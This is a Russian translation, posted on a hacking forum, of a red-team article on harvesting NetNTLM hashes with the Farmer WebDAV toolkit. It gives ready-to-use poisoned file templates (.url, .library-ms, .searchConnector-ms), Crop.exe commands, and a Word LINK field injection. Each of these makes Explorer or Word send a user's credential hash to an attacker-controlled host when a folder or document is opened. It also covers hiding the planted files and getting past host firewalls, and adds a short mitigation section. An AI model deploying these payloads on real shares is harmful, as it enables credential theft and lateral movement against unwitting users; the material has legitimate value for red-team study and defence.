• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Farming для red team.Собираем хэши NetNTLM

KAJIT

(L1) cache
Забанен
Регистрация
02.02.2021
Сообщения
634
Реакции
481
Гарант сделки
2
Пожалуйста, обратите внимание, что пользователь заблокирован
Screenshot from 2021-05-01 12-21-06.png

В атаках на стороне red-team мы всегда ищем свежие методы "движения с боку" и повышения привилегий. Во многих кейсах большинство, классических атак на Active Directory, которые обычно используются красными командами, не могут быть релизованны должным образом, потому что нам часто приходится бороться с системами защиты.
Одна из наиболее эффективных стратегий внутреннего пентеста - это сбор или ретрансляция хэшей NetNTLM через LLMNR или заражение netbios. Эта атака хорошо изучена и широко используется, включая мистером под ником @ byt3bl33d3r и челом с ником @W00Tock. Помимо метода работы через LLMNR / netbios, реализация сбора хэшей NetNTLM не только очень эффективена, но и трудена для обнаружения в больших сетях.
Хотя концептуально это очень мощный путь атаки, мало кто могжет эффективно использовать его в боевых условиях, когда вы обычно действуете как пользователь с низкими привилегиями по каналам C2.. Действительно, большинство известных нам на данный момент попыток требуют прав администратора и/или установленных драйверов для перехвата коммуникаций на 445 порту. Примеры ниже:

--- https://ijustwannared.team/2017/05/27/responder-and-layer-2-pivots/
--· https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
·-- https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/
--· https://github.com/Kevin-Robertson/Inveigh

Недавно ( пост от January 15, 2021 [7] ) NCC Group выпустила тулзу Sigwhatever, которая вставляет ссылку на размещенное изображение в подпись Outlook, тем самым вызывая аутентификацию через HTTP, обеспечивая интересный инструмент для внутреннего целевого фишинга.

Эта работа концептуально похожа на некоторыме из наших исследований в этой области и изменила правила игры. Чтобы внести свой вклад в сообщество redteam-меров, мы поделимся нашим исследованием.



0x01 Получение NetNTLM хэша

Чтобы удаленный хост мог аутентифицировать вас (например, в результате следования черз UNC), должны быть выполнены определенные условия. Чтобы свести к минимуму возможность распространения хэша во внешние сети, такие как Интернет, ваша система должна быть расположена в домене «локальной интрасети». Когда у вас есть точка опоры в целевой внутренней сети, самый простой способ удовлетворить это требование - использовать NetBIOS-имя системы. То есть, если вы находитесь на Workstation1.contoso.com, вы должны использовать workstation1 в пути UNC, чтобы принудительно перейти в домен локальной интрасети.

Существует несколько сервисов, поддерживающих запросы аутентификации, и, как мы уже упоминали, получить хеш-значение из SMB (445) без прав администратора непросто. И даже тогда,кода креды удалось получить, с точки зрения OpSec, этот метод также может быть не идеальным. Другой способ - сделать это через HTTP, злоупотребляя небольшим перенаправителем WebDAV(Web Distributed Authoring and Versioning).

Distributed Authoring and Versioning (DAV) - это расширение протокола HTTP, которое упрощает совместное использование файлов через HTTP. Windows использует службу WebClient для реализации WebDAV. Целью этой службы является взаимодействие с файлами через собственные вызовы API приложений Windows. Считается удаленной файловой системой. Преимущество этого заключается в том, что удаленный HTTP-сервер может работать на любом порту. С точки зрения красной команды, это обеспечивает гибкость и позволяет избежать работы с уже связанными портами SMB.

Вы можете использовать UNC-путь, чтобы начать соединение с доступной workstation1 @ 8080 (из нашего примера) HTTP-сервером \ mdsec.png WebDAV.
Когда операция над файлами затригериться через UNC-путь с поддержкой WebDAV, с хоста что аутентифицируется надо будет выполнять следующие операции:

1. Запустить метод OPTIONS, чтобы обнаружить функции, поддерживаемые веб-сервером,
2. Если PROPFIND поддерживается, выполните метод запроса PROPFIND, чтобы обнаружить структуру каталогов,
3. Если веб-сервер отвечает 401 Unauthorized response и запрашивает проверку подлинности NTLM через заголовок WWW-Authenticate-header, редирект через WebDAV будет продолжать инициировать проверку подлинности ответа на запрос NTLM и, наконец, таким образом мы можем получить хэш NetNTLM.

В общих чертах процесс аутентификации выглядит так:

f62fcf1ae60452b6f6ceb647c325e30b.png

Чтобы имитировать протокол, мы создали простой многопоточный HTTP-сервер на базе .NET , чтобы использовать Farmer (Farmer — [прим.переводчика] - это проект по сбору хэшей NetNTLM в домене Windows. Farmer работает, создавая локальный сервер WebDAV, который заставляет модуль-редиректор WebDAV-а, проходить аутентификацию от любых коннектящихся клиентов. Чтобы это сработало, клиенты ДОЛЖНЫ иметь возможность подключаться к локальному серверу WebDAV. Есть моменты, которые могут помешать этому- сегментация сети и/или брандмауэр Windows. Обязательно проверьте их в первую очередь (чекайте вот этой штукой GhostPack/Seatbelt линк[8]-в конце перевода сатьи). Для обработки запросов аутентификации. Farmer может работать на любом порту и восстанавливать хэши NetNTLM из любого входящего соединения, выводить их на экран или сохранять в зашифрованных файлах журнала в файловой системе. Хотя этот вариант в настоящее время не поддерживается, Farmer также может быть сконфигурирован для выполнения кросс-протокольных ретрансляций, таких как HTTP на SMB.

Конечно, чтобы принимать входящие соединения, вам может потребоваться обойти файерволлы на основе хоста. Однако более внимательно посмотрев на список управления доступом, можно увидеть что брандмауэр Windows почти всегда предоставляет возможность отстучать через процесс или порт что находятся в белом списке [3] @NinjaParanoid публиковал некоторые методы использования встроенных URI из белого списка, такие как /Temporary_Listen_Addresses /, которые могут быть эффективными для обхода ограничений брандмауэра, с которыми вы сталкиваетесь.

Farmer может быть запущен через из C2, и для восстановления значения хэша необходимо только входящее соединение WebDav:

7b7c8cba2eb9ba36e2726e0f0d25a1d4.png


Теперь, когда мы изложили принципы сбора хэшей, давайте рассмотрим способы способные заманить пользователей подключиться к серверам Farmer.

0x02 метод атаки

Чтобы начать сбор хэшей NetNTLM, нам нужно заставить юзера или софт аутентифицироваться черз сервер Farmer. Мы, конечно, можем юзать фишинг и попытаться с помощью социальной инженерии, подсунуть UNC path, но это может вызвать подозрения. С точки зрения отрасли, будет более эффективным, если мы будем применять проверку личности без ведома пользователя.

Один из наиболее известных методов обязательной аутентификации - использование файлов SCF. Метод обязательной аутентификации SCF - через иконку удаленного размещения. Когда диспетчер ресурсов спарсит его, это приведет к удаленной аутентификации локациии, указанной через UNC-path (в нашем примере - служба Farmer WebDAV). Имея это в виду, мы составили список следующих типов файлов, которые могут использоваться в атаках:

· Ярлык Windows (.lnk)
· URL-файл (.url)
· Файлы библиотеки Windows (.library-ms)
· Коннектор поиска Windows (.searchConnector-ms)


Чтобы использовать в качестве нашего инструмента каждый из этих типов файлов, мы создали модуль для нашего Farmer-а (назвали его Crop оно в тоже репозитории лежит). Обрезка(croping) работает, записывая зараженный файл в место, контролируемое оператором, например в сетевой файловый ресурс. Когда это местоположение открывается пользователем, проводник пытается восстановить файл иконки для данного типа файла и инициирует аутентификацию. Следует отметить, что пользователю не нужно открывать файл, ему просто нужно открыть содержащую его папку, чтобы выполнить аутентификацию. Чтобы распространить Сrop дальше, мы добавили флаг —recurse, который будет проходить через любые записываемые дочерние папки в родительской папке и отбрасывать зараженный файл.

Давайте рассмотрим каждый из них подробнее.

Ярлык Windows

Сам файл ярлыка Windows может указывать на путь UNC, но это, конечно, требует, чтобы юзер открыл LNK. Однако в формате файла LNK есть строковое значение, так называемое «icon location», которое указывает на расположение файла иконки LNK. Диспетчер ресурсов автоматически считывает и анализирует это значение в соответствии с флагом HasIconLocation; если он существует, пользователю нужно только открыть содержащую его папку для принудительной аутентификации.

Мы можем создать LNK-файл, указывающий на наш сервер Farmer WebDAV, с помощью Crop (который мы рассмотрим более подробно ниже):
ece402fee0484f74e2d8cc33892311c5.png


Парся LNK с помощью LECmd, мы можем убедиться, что LNK имеет флаг HasIconLocation с расположением значка, указывающим на общий ресурс WebDAV:

5b839020d25e9320b368f2270ccd9e2d.png


Любой пользователь, открывающий папку, содержащую LNK-файл, теперь отправит свой хэш NetNTLM на сервер Farmer.

URL-файлы

Файлы URL-адресов это ярлыки для браузера и используются для открытия URL-ов. Как и LNK файлы, файлы URL могут включать в себя иконку, отображаемую для данного файла. Проводник может быть вынужден извлечь иконку из UNC-пути при открытии содержащей его папки, указаной в пути переменной среды, например:
Код:
[internetShortcut]
URl=farmer
WorkingDirectory=farmer
IconFile=\\\workstation@8888\\%USERNAME%.icon
IconIndex=1

Crop-тулза Farmer-а может создать такой URL, что нам нужен

Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico​


Файлы библиотек Windows

Файлы библиотеки Windows представляют собой виртуальные контейнеры пользовательского контента, файлы .library-ms можно использовать для указания на удаленные или локальные хранилища. [4] @dtmsecurity изучал использование этих файлов за долго до написания данной статьи, и в ЦРУ обсуждали подобный ход(смотрите файлы что утекли в серии документов Vault7).

Часть SearchConnectorDescription в файле library-ms может указывать на удаленное расположение, что снова приведет к принудительной аутентификации через проводник при открытии папки контейнера:

XML:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\mdsec</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
Crop-тулза Farmer-а опять решает этот вопрос. Юзаем такую команнду:

Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec​


Коннекторы поиска Windows

Файлы Search Connector используются для подключения пользователей к данным, хранящимся в удаленных местах, и похожи на вышеупомянутый файл library-ms.Формат файла Search Connector также позволяет использовать значок для кастомизации отображения коннектора, его можно разместить на удаленном URI, таком как наш сервер Farmer WebDAV, с помощью тега XML iconReference:

XML:
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\mdsec.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\mdsec</url>
    </simpleLocation>
</searchConnectorDescription>

Простое открытие папки, содержащей файл .searchConnector-ms, снова заставит проводник пройти аутентификацию.

При таком подходе мы, конечно же, создаем различные новые файлы для принудительной аутентификации, и, конечно, это может потенциально вызвать подозрения со стороны пользователя. Один из вариантов сделать это менее привлекающим внимание - установить скрытый атрибут NTFS, чтобы замаскировать его в проводнике, что можно сделать в .NET следующим образом:

File.SetAttributes (путь, FileAttributes.Hidden);​

"Удобрение" для нашего Farmer-a

Описанный нами подход основан на создании новых файлов, а в некоторых ситуациях это может быть нежелательно; в качестве альтернативы мы можем пожелать "заразить" существующие, часто используемые файлы, чтобы при их повторном открытии мы могли принудительно выполнить аутентификацию.

Одним из наиболее часто используемых типов файлов на проде являются документы MS Office, и нередко можно увидеть их разбросанными по общим файловым ресурсам. Чтобы "заразить" документы, мы создали дополнительный инструмент под названием Fertiliser. Это работает так, беря существующий документ Word и отравляя его, вводя новое поле ссылки, которое указывает на наш удаленный общий ресурс WebDAV. Мы можем указать Word-y автоматически обновлять поле ссылки при открытии документа, установив инструкцию «\a» в коде поля:

LINK Excel.Sheet.8 \\\\workstation1@8888\\mdsec.png \\a​

Когда пользователь откроет документ, ему будет предложено предупреждение, подобное следующему:
c3aa3c85741d3830c817e5d539db774b.png


Однако, независимо от выбора пользователя (да или нет), хэш NetNTLM все равно утекает =)
Конечно, это можно распространить на другие типы файлов, чтобы расширить возможности, доступные оператору red тимы.

Mitigations или как таргет с этим бореться

Аутентификация выполняется принудительно из большинства типов файлов, когда Explorer пытается загрузить файл ярлыка. По умолчанию Explorer настроен на отображение эскизов и значков в сетевых папках, однако это поведение можно отключить с помощью параметров групповой политики «DisableThumbnailsOnNetworkFolders» и «DisableThumbnails». Включение этих настроек предотвратит загрузку файлов значков проводником, ограничивая доступ к технике. Однако это, конечно, не предотвращает заражение документов MS Office с помощью полей ссылок.

Дальнейшая работа

Существует ряд потенциальных областей, в которых этот инструментарий и методология могут быть улучшены, некоторые из которых все еще находятся в поле нашего зрения. Во-первых, вероятно, есть много других дополнительных типов файлов, которые могут представлять интерес, на некоторыех из них может не повлиять отключение загрузки значков из общих сетевых ресурсов; мы приветствуем любые коммиты в наш репозиторий от сообщества для расширения возможностей тулзы. Кроме того, другие документы Office, такие как файлы Excel и PowerPoint, несомненно, восприимчивы к 'полевым' ссылкам или аналогичному удаленному внедрению ресурсов и являются хорошими кандидатами для расширения Fertilizer. Наконец, общее влияние этого метода может быть значительно увеличено за счет введения перекрестной ретрансляции протоколов, например, от HTTP к SMB или LDAP. Это то, над чем мы сейчас работаем, надеясь, что сможем продвинуть это в ближайшем будущем.

Удачи и счастливого земледелия!

Перевод KAJIT-a, спецально для xss.pro. Original written by Dominic Chell [MDSec]


PS- К статье прилагается еще два видоса ---->>> https://vimeo.com/video/515287398 и ---->>> https://vimeo.com/video/515287254
(Сорцы тулкита Farmer можно найти в репозитории MDSec на гитахабе.)
Наконец, спасибо @StanHacked и остальной части команды, @Outflank за помощь в тестировании и отзывы.

links list below ( original - https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/ )
[1] - https://byt3bl33d3r.github.io/pract...ka-getting-a-foothold-in-under-5-minutes.html
[2] - https://adam-toscher.medium.com/top...etwork-before-lunch-2018-edition-82259ab73aaa
[4] - https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
[5] - https://wikileaks.org/ciav7p1/cms/page_13763381.html
[6] - https://github.com/mdsecactivebreach/Farmer/tree/main/crop
[7] - https://research.nccgroup.com/2021/...ealing-netntlm-hashes-via-outlook-signatures/
[8] - https://github.com/GhostPack/Seatbelt
[3] -
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх